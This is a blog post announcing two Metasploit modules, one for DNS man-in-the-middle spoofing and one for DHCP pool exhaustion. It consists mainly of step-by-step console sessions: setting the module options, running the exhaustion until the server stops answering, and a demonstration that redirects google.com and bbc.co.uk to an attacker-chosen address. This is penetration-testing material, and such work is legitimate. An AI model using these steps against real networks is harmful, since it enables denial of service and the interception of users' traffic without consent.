Metasploit DNS and DHCP Exhaustion
Update
The DHCP Exhaustion module now works with Ruby 1.9.x
Here are two Metasploit modules I've been working on which are now ready for their first release. The first is a DNS MiTM module which has been worked on by various people, the last being Wesley McGrew who released his version but never got round to getting it into the Metasploit Framework. The module loads a list of domains to give fake responses for and returns real results for everything else. My work on this was to add the facility to have it reload the config file without a restart by doing a look up on a pre-set domain. I also fixed a couple of minor bugs.
The second module is a DHCP Exhaustion attack tool which continues to request DHCP addresses till it stops getting responses from the server which, as far as I can tell, means the IP pool is exhausted. I've written this one from the ground up and is my first module. I think it fits in with the style of other modules I've compared it with.
Usage
You'll need to be root to run both modules and for the DHCP module you'll need to put the interface into promiscious mode before starting the attack so it can hear all the replies to the fake requests. The easiest way to explain how to use them is to just show the modules in use so here they are...
DHCP Exhaustion
msf > use auxiliary/digininja/dhcp_exhaustion/exhaust
msf auxiliary(exhaust) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILTER no The filter string for capturing traffic
INTERFACE no The name of the interface
SNAPLEN 65535 yes The number of bytes to capture
TIMEOUT 10 yes Timeout waiting for server response
msf auxiliary(exhaust) > run
[*] DHCP attack started
[*] DHCP offer of address: 192.168.0.53
[*] Got the ACK back, IP address allocated successfully
[*] DHCP offer of address: 192.168.0.54
[*] Got the ACK back, IP address allocated successfully
[*] DHCP offer of address: 192.168.0.55
[*] Got the ACK back, IP address allocated successfully
[*] DHCP offer of address: 192.168.0.56
[*] Got the ACK back, IP address allocated successfully
[*] DHCP offer of address: 192.168.0.57
[*] Got the ACK back, IP address allocated successfully
[*] DHCP offer of address: 192.168.0.58
[*] Got the ACK back, IP address allocated successfully
[*] DHCP offer of address: 192.168.0.59
[*] Got the ACK back, IP address allocated successfully
[*] DHCP offer of address: 192.168.0.60
[*] Got the ACK back, IP address allocated successfully
[*] DHCP offer of address: 192.168.0.52
[*] Got the ACK back, IP address allocated successfully
[*] DHCP offer of address: 192.168.0.51
[*] Got the ACK back, IP address allocated successfully
[*] Timeout waiting for OFFER
[*] Got a timeout, assuming DHCP exhausted. You Win
[*] Finished
[*] Auxiliary module execution completed
DNS MiTM
msf > use auxiliary/digininja/dns_mitm/dns_mitm
msf auxiliary(dns_mitm) > set
Global
======
No entries in data store.
Module: dns_mitm/dns_mitm
=========================
Name Value
---- -----
RELOAD digininja.reload
SRVHOST 0.0.0.0
SRVPORT 53
msf auxiliary(dns_mitm) > run
[-] Auxiliary failed: Msf::OptionValidateError The following options failed to validate: FILENAME, REALDNS.
msf auxiliary(dns_mitm) > set FILENAME /usr/src/metasploit/modules/auxiliary/dns_mitm/dns.txt
FILENAME => /usr/src/metasploit/modules/auxiliary/dns_mitm/dns.txt
msf auxiliary(dns_mitm) > set REALDNS 192.168.0.8
REALDNS => 192.168.0.8
msf auxiliary(dns_mitm) > set
Global
======
No entries in data store.
Module: dns_mitm/dns_mitm
=========================
Name Value
---- -----
FILENAME /usr/src/metasploit/modules/auxiliary/dns_mitm/dns.txt
REALDNS 192.168.0.8
RELOAD digininja.reload
SRVHOST 0.0.0.0
SRVPORT 53
msf auxiliary(dns_mitm) > run
[*] Auxiliary module running as background job
msf auxiliary(dns_mitm) >
[*] Loading hosts file
The hosts file contains a single entry
192.168.0.2 google.com
Now do some look ups, google.com and bbc.co.uk
nslookup
> server localhost
Default server: localhost
Address: ::1#53
Default server: localhost
Address: 127.0.0.1#53
> google.com
Server: localhost
Address: 127.0.0.1#53
Non-authoritative answer:
Name: google.com
Address: 192.168.0.2
Name: google.com
Address: 192.168.0.2
Name: google.com
Address: 192.168.0.2
> bbc.co.uk
Server: localhost
Address: 127.0.0.1#53
Non-authoritative answer:
Name: bbc.co.uk
Address: 212.58.224.138
Google is middled but the BBC gets through, now add the BBC to the hosts file
echo "192.168.0.2 bbc.co.uk" >> dns.txt
Refresh the server by looking up the special domain and then check the BBC again
> digininja.reload
Server: localhost
Address: 127.0.0.1#53
Non-authoritative answer:
*** Can't find digininja.reload: No answer
> bbc.co.uk
Server: localhost
Address: 127.0.0.1#53
Non-authoritative answer:
Name: bbc.co.uk
Address: 192.168.0.2
The BBC is now ours!
